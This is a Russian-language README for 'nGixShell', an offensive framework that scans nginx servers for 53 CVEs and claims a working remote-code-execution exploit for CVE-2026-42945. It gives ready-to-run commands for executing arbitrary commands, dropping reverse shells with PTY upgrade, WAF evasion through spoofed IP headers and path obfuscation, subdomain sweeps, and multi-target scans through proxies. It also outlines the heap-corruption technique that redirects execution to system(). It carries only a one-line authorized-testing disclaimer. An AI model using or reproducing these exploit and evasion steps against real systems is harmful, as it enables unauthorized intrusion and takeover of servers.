
nginx CVE-сканер + фреймворк RCE-эксплойтов (CVE-2026-42945 + ещё 16)
nGixShell — это сканер CVE-уязвимостей nginx и фреймворк для эксплуатации RCE. Он включает рабочий proof-of-concept для CVE-2026-42945 — критического переполнения буфера в куче в ngx_http_rewrite_module — а также сканер, охватывающий 53 CVE-уязвимости nginx, с автоматическими HTTP-пробами, снятием отпечатков (fingerprinting), обнаружением и обходом WAF, аудитом веб-безопасности и генерацией отчётов.
Ноль внешних зависимостей. Чистый Python 3 stdlib.
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Флаги не требуются — указание цели запускает всё автоматически.
TLS определяется автоматически. Отпечаток nginx снимается даже при server_tokens off.
python3 ngixshell.py [TARGET] [OPTIONS]
TARGET formats:
127.0.0.1
192.168.1.10:8080
http://192.168.1.10:8080
https://target.local
| Флаг | Описание |
|---|---|
--waf-detect | Обнаружить WAF перед сканированием |
--waf-bypass | Включить все техники обхода (также запускает обнаружение) |
--waf-ip IP | Подменить этот IP в заголовках обхода (по умолчанию: случайный RFC1918) |
Техники обхода (все активны при установке --waf-bypass):
Обнаруживаемые WAF: Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence
Запускается автоматически в режиме сканирования. Все модули можно пропускать по отдельности.
/nginx_status, если он открыт| Флаг | Описание |
|---|---|
--port PORT | Переопределить порт |
--tls |
| Флаг | Описание |
|---|---|
--user-agent UA | Свой User-Agent |
--auth USER:PASS | HTTP Basic-авторизация |
| Флаг | Описание |
|---|---|
--rate-limit RPS | Максимум запросов в секунду |
--jitter MS |
| Флаг | Описание |
|---|---|
53 записи за 2009–2026 гг. Отсортировано по CVSS.
Движок rewrite-скриптов nginx использует модель из двух проходов: сначала вычисляется размер буфера, затем выполняется копирование. Флаг is_args устанавливается в основном движке, когда замена в rewrite содержит ?, но проход вычисления длины выполняется на заново обнулённом под-движке:
is_args = 0 → возвращает исходную длину захватаis_args = 1 → вызывает ngx_escape_uri(NGX_ESCAPE_ARGS), расширяя каждый небезопасный байт до 3 байтКопирование переполняет буфер кучи недостаточного размера данными URI, контролируемыми атакующим. Эксплуатация повреждает соседний указатель очистки ngx_pool_t с помощью межзапросного heap feng shui, перенаправляя его на поддельный ngx_pool_cleanup_s, который вызывает system() при уничтожении пула.
| Продукт | Уязвимые | Исправленные |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
Бюллетень вендора: https://my.f5.com/manage/s/article/K000160932
Протестировано на Ubuntu 24.04 LTS. Требуются Docker и Python 3.8+.
# Start the vulnerable lab (nginx 1.25.3)
docker compose -f env/docker-compose.yml up -d
# Full scan
python3 ngixshell.py 127.0.0.1:19321
# RCE with JSON output
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json
# Reverse shell — bash payload, PTY auto-upgrade
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# WAF bypass scan with spoofed IP
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1
# Through SOCKS5 proxy
python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050
# Subdomain scan with rate limiting
python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10
# Multiple targets, JSON output, HTML report
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Только для авторизованного тестирования безопасности, CTF-соревнований и исследований.
| Флаг | Описание |
|---|
| (нет) | Авто — отпечаток + сканирование CVE + веб-аудит |
--cmd 'CMD' | Выполнить команду через RCE CVE-2026-42945 |
--cmd-file FILE | Выполнить команды из файла (объединяются через ;) |
--shell | Открыть обратный шелл |
--shell-type TYPE | Полезная нагрузка: bash python perl php nc powershell (по умолчанию: python) |
--upgrade-shell | Автоматически отправить апгрейд PTY после подключения шелла |
--subdomain-scan DOMAIN | Найти уязвимый nginx на поддоменах |
--cve CVE-ID | Проверить одну конкретную CVE |
--list-cves | Вывести все 53 CVE с CVSS и информацией о пробах |
--list-candidates | Вывести кандидатов адресов кучи |
--dry-run | Только отпечаток + сканирование, без эксплойта |
--target-file FILE | Сканировать несколько хостов из файла |
| Техника | Детали |
|---|
| Подмена IP | X-Forwarded-For, X-Real-IP, X-Originating-IP, True-Client-IP, X-Remote-IP, X-Client-IP |
| Ротация UA | 11 реальных User-Agent браузеров/ботов, случайные для каждого запроса |
| Обфускация пути | двойной слеш, дополнение /./, процентное кодирование, смена регистра |
| Перестановка регистра заголовков | рандомизирует регистр имён заголовков для обхода сигнатур WAF |
| Флаг | Описание |
|---|
--skip-headers | Пропустить аудит HTTP-заголовков безопасности |
--skip-paths | Пропустить обнаружение путей/файлов |
--skip-vhosts | Пропустить перечисление виртуальных хостов |
--skip-tls | Пропустить аудит протокола TLS |
--path-wordlist FILE | Дополнительные пути для проверки (по одному на строку) |
| Принудительно использовать TLS (по умолчанию определяется автоматически) |
--proxy URL | Прокси: http://, https://, socks5:// |
--cookie VALUE |
| Заголовок Cookie |
--header NAME:VALUE | Дополнительный заголовок (можно повторять) |
| Случайная задержка 0–MS мс между запросами |
--retry N | Повторить неубедительные пробы (по умолчанию: 1) |
--timeout-multiplier X | Масштабировать все таймауты (по умолчанию: 1.0) |
--output FILE| Записать журнал в FILE |
--json | Вывести JSON-сводку в конце |
--html-report [FILE] | Сгенерировать HTML-отчёт (по умолчанию: ngixshell_<host>_<ts>.html) |
--verbose | Отладочный вывод |
| CVE | CVSS | Компонент | Описание |
|---|
| CVE-2026-42945 | 9.8 CRITICAL | rewrite | Переполнение кучи → RCE (эксплуатируется) |
| CVE-2026-42946 | 8.1 HIGH | rewrite | Порча памяти (тот же бюллетень) |
| CVE-2022-41741 | 7.8 HIGH | mp4 | Порча памяти через вредоносный mp4 |
| CVE-2016-1247 | 7.8 HIGH | packaging | Повышение привилегий через symlink на файл журнала |
| CVE-2021-23017 | 7.7 HIGH | resolver | Перезапись кучи off-by-one |
| CVE-2026-40701 | 7.5 HIGH | request | Порча памяти при обработке запроса |
| CVE-2026-42934 | 7.5 HIGH | request | Порча памяти (тот же бюллетень) |
| CVE-2026-27784 | 7.5 HIGH | mp4 | Переполнение буфера через специально сформированный mp4 |
| CVE-2026-32647 | 7.5 HIGH | mp4 | Переполнение буфера (родственное предыдущему) |
| CVE-2024-24990 | 7.5 HIGH | HTTP/3 | Use-after-free в модуле QUIC |
| CVE-2024-24989 | 7.5 HIGH | HTTP/3 | Разыменование NULL-указателя в QUIC |
| CVE-2024-31079 | 7.5 HIGH | HTTP/3 | Переполнение стека в кодировщике QUIC |
| CVE-2024-32760 | 7.5 HIGH | HTTP/3 | Перезапись буфера через HEADERS-фрейм |
| CVE-2022-41742 | 7.5 HIGH | mp4 | Раскрытие памяти кучи |
| CVE-2017-7529 | 7.5 HIGH | range filter | Целочисленное переполнение → чтение за границами буфера |
| CVE-2016-0746 | 7.5 HIGH | resolver | Use-after-free через специально сформированный DNS-ответ |
| CVE-2014-0133 | 7.5 HIGH | SPDY | Переполнение кучи в реализации SPDY |
| CVE-2014-0088 | 7.5 HIGH | SPDY | Порча памяти в SPDY |
| CVE-2013-4547 | 7.5 HIGH | core | Обход через пробел+NUL в URI |
| CVE-2013-2028 | 7.5 HIGH | core | Переполнение стека при chunked-кодировании |
| CVE-2012-1180 | 7.5 HIGH | proxy | Use-after-free в модуле proxy |
| CVE-2009-3555 | 7.5 HIGH | SSL | Внедрение при повторном согласовании TLS (MITM) |
| CVE-2009-2629 | 7.5 HIGH | core | Нехватка буфера (underflow) при разборе URI |
| CVE-2026-42926 | 6.5 MEDIUM | HTTP/2 | Расщепление запроса (request splitting) через proxy |
| CVE-2026-27654 | 6.5 MEDIUM | WebDAV | Переполнение кучи в модуле DAV |
| CVE-2026-28753 | 6.5 MEDIUM | Внедрение заголовков в почтовом прокси | |
| CVE-2026-1642 | 6.5 MEDIUM | proxy | Утечка при повторном использовании SSL-сессии апстрима |
| CVE-2019-9511 | 6.5 MEDIUM | HTTP/2 | DoS CPU/памяти «Data Dribble» |
| CVE-2012-2089 | 6.8 MEDIUM | mp4 | Переполнение буфера через mp4-запрос |
| CVE-2018-16845 | 5.5 MEDIUM | mp4 | Целочисленное исчерпание (underflow) → крах + раскрытие данных |
| CVE-2019-20372 | 5.3 MEDIUM | proxy | HTTP request smuggling |
| CVE-2026-40460 | 5.3 MEDIUM | HTTP/3 | Подделка QUIC-соединения |
| CVE-2026-28755 | 5.3 MEDIUM | SSL | Раскрытие памяти при обработке OCSP |
| CVE-2025-23419 | 5.3 MEDIUM | SSL | Обход сертификата при возобновлении TLS-сессии |
| CVE-2024-35200 | 5.3 MEDIUM | HTTP/3 | Разыменование NULL-указателя |
| CVE-2024-34161 | 5.3 MEDIUM | HTTP/3 | Раскрытие памяти |
| CVE-2016-4450 | 5.3 MEDIUM | core | NULL-указатель через chunked-тело запроса |
| CVE-2016-0742 | 5.0 MEDIUM | resolver | Некорректный указатель через специально сформированный UDP-пакет |
| CVE-2016-0747 | 5.0 MEDIUM | resolver | Недостаточный предел разрешения CNAME |
| CVE-2014-3556 | 5.0 MEDIUM | Внедрение команды STARTTLS | |
| CVE-2013-2070 | 5.3 MEDIUM | proxy | Раскрытие ответа бэкенда |
| CVE-2011-4963 | 5.0 MEDIUM | access | Обход контроля доступа через IPv6-литерал |
| CVE-2011-4315 | 5.0 MEDIUM | resolver | Переполнение кучи через специально сформированный DNS-ответ |
| CVE-2009-3896 | 5.0 MEDIUM | core | DoS через разыменование NULL-указателя |
| CVE-2025-53859 | 4.3 MEDIUM | Внедрение SMTP-команды | |
| CVE-2014-3616 | 4.3 MEDIUM | SSL | Путаница виртуальных хостов при TLS SNI |
| CVE-2026-27651 | 4.3 MEDIUM | Разыменование NULL-указателя в почтовом прокси | |
| CVE-2019-9513 | 4.3 MEDIUM | HTTP/2 | DoS CPU «Resource Loop» |
| CVE-2019-9516 | 4.3 MEDIUM | HTTP/2 | Истощение памяти через заголовки нулевой длины |
| CVE-2018-16843 | 4.3 MEDIUM | HTTP/2 | Чрезмерное потребление памяти |
| CVE-2018-16844 | 4.3 MEDIUM | HTTP/2 | Чрезмерная нагрузка на CPU через SETTINGS-фреймы |
| CVE-2024-7347 | 4.7 MEDIUM | mp4 | Чтение за границами буфера |
| CVE-2009-3898 | 4.9 MEDIUM | WebDAV | Обход каталогов через COPY/MOVE |